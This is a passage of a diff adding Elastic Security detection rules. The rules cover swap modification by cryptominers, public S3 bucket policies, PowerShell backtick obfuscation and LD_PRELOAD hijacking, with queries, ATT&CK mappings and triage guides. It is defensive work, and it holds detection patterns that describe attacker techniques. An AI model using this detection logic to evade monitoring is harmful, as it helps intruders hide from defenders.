"keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "5bdad1d5-5001-4a13-ae99-fa8619500f1a", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + }, + { + "id": "T1204", + "name": "User Execution", + "reference": "https://attack.mitre.org/techniques/T1204/", + "subtechnique": [ + { + "id": "T1204.002", + "name": "Malicious File", + "reference": "https://attack.mitre.org/techniques/T1204/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 4 + }, + "id": "5bdad1d5-5001-4a13-ae99-fa8619500f1a_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_106.json b/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_106.json new file mode 100644 index 00000000000..9193c645e33 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_106.json @@ -0,0 +1,136 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig.", + "from": "now-9m", + "index": [ + "endgame-*", + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Memory Swap Modification", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Memory Swap Modification\n\nMemory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation.\n\n### Possible investigation steps\n\n- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by a legitimate or suspicious parent process.\n- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness.\n- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user.\n- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage.\n- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig.\n- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications.\n\n### False positive analysis\n\n- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts.\n- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts.\n- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts.\n- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities.\n- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware.\n- Terminate any suspicious processes identified by the detection rule, such as those involving \"swapon\", \"swapoff\", or unauthorized modifications to \"vm.swappiness\".\n- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig.\n- Review and restore swap settings to their default or secure configurations to ensure system stability and performance.\n- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly.\n- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack.\n- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary.", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"start\", \"ProcessRollup2\") and\n?process.parent.executable != null and\nprocess.name in (\"swapon\", \"swapoff\") or (\n process.command_line like (\"*vm.swappiness*\", \"*/proc/sys/vm/swappiness*\") and (\n (process.name == \"sysctl\" and process.args like (\"*-w*\", \"*--write*\", \"*=*\")) or\n (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line like \"*echo *\"\n )\n )\n) and\nnot process.parent.name in (\"lynis\", \"systemd\", \"end-zram-swapping\", \"SyxsenseResponder\", \"tuned\", \"platform-python\", \"timeout\")\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "5e4023e7-6357-4061-ae1c-9df33e78c674", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\n\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\n\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Impact", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1496", + "name": "Resource Hijacking", + "reference": "https://attack.mitre.org/techniques/T1496/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 106 + }, + "id": "5e4023e7-6357-4061-ae1c-9df33e78c674_106", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/618bb351-00f0-467b-8956-8cace8b81f07_1.json b/packages/security_detection_engine/kibana/security_rule/618bb351-00f0-467b-8956-8cace8b81f07_1.json new file mode 100644 index 00000000000..46e9990421b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/618bb351-00f0-467b-8956-8cace8b81f07_1.json @@ -0,0 +1,128 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:\"*\") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:\"*\" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage.", + "event_category_override": "event.type", + "false_positives": [ + "This rule does not differentiate by itself whether the same policy also includes Deny statements that restrict public access. If a policy includes both Effect=Allow and Effect=Deny with Principal:\"*\", this rule may still trigger. Such cases should be manually analyzed to verify whether the Deny statement effectively negates the public exposure." + ], + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS S3 Bucket Policy Added to Allow Public Access", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to your specific environment and operational needs.\n\n### Investigating AWS S3 Bucket Policy Added to Allow Public Access\n\nThis rule detects modifications to Amazon S3 bucket policies using the `PutBucketPolicy` API where both `Effect=Allow`\nand `Principal:\"*\"` are present. This effectively grants permissions to all AWS identities, including unauthenticated users. \nSuch exposure can result in sensitive data leaks, ransomware staging, or unauthorized data collection. \n\nThis rule focuses on policy-based exposure rather than ACL-based or block-public-access configurations. \nIt will still trigger if a bucket policy includes both `Effect=Allow` and `Effect=Deny` statements that contain `Principal:\"*\"`. Those cases should be reviewed to confirm whether the `Deny` statement restricts access sufficiently.\n\n#### Possible investigation steps\n\n- **Identify the Actor**\n - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change.\n - Validate whether this user or role is authorized to modify S3 bucket policies.\n - Examine `source.ip`, `source.geo`, and `user_agent.original` to identify unusual sources or tools (e.g., CLI or SDK-based activity).\n\n- **Analyze the Bucket Policy Content**\n - Extract the full JSON from `aws.cloudtrail.request_parameters`.\n - Look for `Effect=Allow` statements paired with `Principal:\"*\"`.\n - Identify what permissions were granted \u2014 for example:\n - `s3:GetObject` (read access to all objects)\n - `s3:PutObject` or `s3:*` (read/write access)\n - Check if the policy also contains any `Effect=Deny` statements targeting `Principal:\"*\"`. \n If present, determine whether these statements fully restrict public access, if so this alert can be closed.\n\n- **Assess the Impact and Scope**\n - Review `aws.cloudtrail.resources.arn` to confirm which bucket was affected.\n - Determine if the bucket contains sensitive, regulated, or internal data.\n - Check for `PutPublicAccessBlock` or `DeleteBucketPolicy` events in close proximity, as attackers often disable protections first.\n\n- **Correlate with Related Activity**\n - Review CloudTrail for `GetObject` or `ListBucket` events following the policy change to identify possible data access.\n - Look for policy changes across multiple buckets by the same actor, suggesting scripted or automated misuse.\n\n- **Validate Intent**\n - Contact the bucket owner or application owner to determine whether this change was part of a legitimate operation (e.g., website hosting or public dataset publishing).\n - Review change management logs or ticketing systems for documented approval.\n\n### False positive analysis\n\n- **Intended Public Access**\n - Buckets used for static websites, documentation hosting, or public datasets may legitimately contain `Principal:\"*\"`.\n - Verify such use cases are covered by organizational policies and hardened with least-privilege permissions (e.g., read-only).\n\n- **Effect=Deny Condition**\n - This rule does not currently exclude cases where `Principal:\"*\"` appears under both `Effect=Allow` and `Effect=Deny`.\n - Analysts should review the bucket policy JSON to confirm whether `Deny` statements restrict the same resources.\n - If access remains blocked to unauthorized entities, the alert can be dismissed as a false positive.\n\n- **Automation or Pipeline Behavior**\n - Some automated pipelines or templates (e.g., Terraform, CloudFormation) create temporary policies with `Principal:\"*\"` for bootstrap access. \n Review timing, user agent, and role identity for expected automation patterns.\n\n### Response and remediation\n\n- **Containment**\n - If exposure is unauthorized, immediately remove the public access policy using:\n - `aws s3api delete-bucket-policy` or restore from version control.\n - Re-enable Block Public Access at the account and bucket levels.\n\n- **Investigation and Scoping**\n - Review CloudTrail and S3 access logs to identify whether external IPs accessed bucket objects after the policy change.\n - Search for similar policy updates across other buckets in the same account or region.\n - Validate AWS Config history for baseline deviations and determine how long the bucket was publicly exposed.\n\n- **Recovery and Hardening**\n - Reinstate the intended bucket policy from backups or version control.\n - Implement AWS Config rules:\n - `s3-bucket-public-read-prohibited`\n - `s3-bucket-public-write-prohibited`\n - Restrict `s3:PutBucketPolicy` permissions to trusted administrative roles.\n - Apply service control policies (SCPs) that prevent policies containing `Principal:\"*\"` unless explicitly approved.\n - Enable continuous monitoring through AWS Security Hub or GuardDuty for any new public exposure events.\n\n### Additional information\n - **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n - **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n - **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutBucketPolicy\" \n and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"Effect=Allow\")\n and stringContains(aws.cloudtrail.request_parameters, \"Principal=\\\\*\")\n", + "references": [ + "https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "618bb351-00f0-467b-8956-8cace8b81f07", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Use Case: Threat Detection", + "Tactic: Exfiltration", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "618bb351-00f0-467b-8956-8cace8b81f07_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_6.json b/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_6.json new file mode 100644 index 00000000000..67393abb493 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_6.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use invalid escape sequences as a form of obfuscation. This technique introduces backticks (`) between characters in a way that does not correspond to valid PowerShell escape sequences, breaking up strings and bypassing pattern-based detections while preserving execution logic. This is designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Invalid Escape Sequences", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Invalid Escape Sequences\n\nPowerShell, a powerful scripting language in Windows environments, can be exploited by adversaries using obfuscation techniques to evade detection. By inserting invalid escape sequences, attackers can obscure malicious scripts, bypassing static analysis and security tools like AMSI. The detection rule identifies such obfuscation by analyzing script patterns, specifically targeting unusual backtick usage, to flag potential threats.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the context and content of the script block that triggered the alert. Look for patterns of invalid escape sequences and assess whether they appear intentionally obfuscated.\n- Examine the `file.name` and `file.path` fields to determine the origin and location of the script. This can help identify whether the script is part of a legitimate application or potentially malicious.\n- Check the `host.name` and `agent.id` fields to identify the affected system and the agent responsible for logging the event. This information is crucial for understanding the scope of the potential threat.\n- Analyze the `user.id` field to ascertain which user executed the script. This can provide insights into whether the user has a history of executing suspicious scripts or if their account may be compromised.\n- Investigate the `powershell.file.script_block_id` and `powershell.sequence` fields to trace the execution sequence and correlate it with other related script blocks, which may reveal additional obfuscation or malicious activity.\n- Assess the `count` field to evaluate the extent of obfuscation detected. A higher count may indicate more aggressive obfuscation techniques, warranting further scrutiny.\n\n### False positive analysis\n\n- Scripts from Visual Studio Code's PowerShell extension may trigger false positives due to its shell integration. To handle this, exclude scripts containing the pattern \"$([char]0x1b)]633\" from detection.\n- PowerShell modules with names starting with \"TSS_\" may be flagged incorrectly. Exclude these by adding a condition to ignore files matching the pattern \"TSS_*.psm1\".\n- Legitimate scripts that use backticks for formatting or other non-obfuscation purposes might be detected. Review such scripts and, if verified as safe, add them to an exception list based on their script block ID or file path.\n- Regularly update the exclusion list to reflect changes in legitimate script usage patterns, ensuring that new false positives are addressed promptly.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent lateral movement and further execution of potentially malicious scripts. Disconnect the host from the network and disable remote access.\n\n- Analyze the script block text and file path to identify the source and nature of the obfuscated script. Determine if the script is part of a larger attack or if other systems are affected.\n\n- Remove or quarantine the identified malicious script and any associated files from the host. Ensure that all remnants of the obfuscated code are eliminated to prevent re-execution.\n\n- Conduct a thorough scan of the host using updated antivirus and antimalware tools to detect and remove any additional threats or indicators of compromise.\n\n- Review and update PowerShell execution policies and security settings to restrict the execution of scripts with invalid escape sequences. Implement stricter controls to prevent similar obfuscation techniques.\n\n- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and monitoring. Provide detailed logs and findings to assist in understanding the scope and impact of the threat.\n\n- Implement enhanced logging and monitoring for PowerShell activities across the network to detect and respond to similar obfuscation attempts promptly. Use the identified patterns to refine detection capabilities.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\" and powershell.file.script_block_text like \"*`*\"\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, \"\"\"[A-Za-z0-9_-]`(?![rntb]|\\r|\\n|\\d)[A-Za-z0-9_-]\"\"\", \"\ud83d\udd25\")\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.name,\n file.directory,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least 10 times\n| where Esql.script_block_pattern_count >= 10\n\n| where file.name not like \"TSS_*.psm1\"\n // ESQL requires this condition, otherwise it only returns matches where file.name exists.\n or file.name is null\n\n// VSCode Shell integration\n| where not powershell.file.script_block_text like \"*$([char]0x1b)]633*\"\n\n| where not file.directory == \"C:\\\\Program Files\\\\MVPSI\\\\JAMS\\\\Agent\\\\Temp\"\n // ESQL requires this condition, otherwise it only returns matches where file.directory exists.\n or file.directory is null\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.directory", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "64f17c52-6c6e-479e-ba72-236f3df18f3d", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "64f17c52-6c6e-479e-ba72-236f3df18f3d_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/65613f5e-0d48-4b55-ad61-2fb9567cb1ad_3.json b/packages/security_detection_engine/kibana/security_rule/65613f5e-0d48-4b55-ad61-2fb9567cb1ad_3.json new file mode 100644 index 00000000000..a5bad2f83cb --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/65613f5e-0d48-4b55-ad61-2fb9567cb1ad_3.json @@ -0,0 +1,163 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system.", + "from": "now-9m", + "history_window_start": "now-7d", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments", + "new_terms_fields": [ + "process.parent.name", + "process.command_line", + "host.id" + ], + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments\n\nLD_PRELOAD and LD_LIBRARY_PATH are environment variables in Linux that influence dynamic linking by specifying libraries to load before others. Adversaries exploit these to hijack execution flow, evade defenses, or escalate privileges. The detection rule identifies suspicious use of these variables in shell commands, excluding benign processes, signaling potential misuse for persistence or defense evasion.\n\n### Possible investigation steps\n\n- Review the process command line to identify the specific libraries being loaded via LD_PRELOAD or LD_LIBRARY_PATH and assess their legitimacy.\n- Examine the parent process name to determine if the process is expected to use these environment variables, considering the exclusion list provided in the query.\n- Investigate the user account associated with the process to check for any signs of compromise or unusual activity.\n- Analyze the process execution context, including the timestamp and host details, to identify any patterns or correlations with other suspicious activities.\n- Check system logs and other security tools for related alerts or events that might indicate broader malicious activity or attempts to evade defenses.\n\n### False positive analysis\n\n- Development and testing environments often use LD_PRELOAD and LD_LIBRARY_PATH for legitimate purposes such as testing new libraries or debugging. Consider excluding processes associated with these environments if they are known and trusted.\n- Some software installations or updates may temporarily use these environment variables to ensure compatibility or to load specific libraries. Monitor installation logs and exclude these processes if they are verified as part of legitimate software management.\n- System administration scripts or automation tools might use these variables to manage library paths dynamically. Review and whitelist these scripts if they are part of routine maintenance and have been vetted for security.\n- Certain applications, like custom-built software or legacy systems, may rely on these variables for normal operation. Document these applications and exclude them from the rule if they are essential and secure.\n- Security tools or monitoring agents might use these variables to hook into processes for legitimate monitoring purposes. Verify the behavior of these tools and exclude them if they are part of your security infrastructure.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement.\n- Terminate any suspicious processes identified with unusual 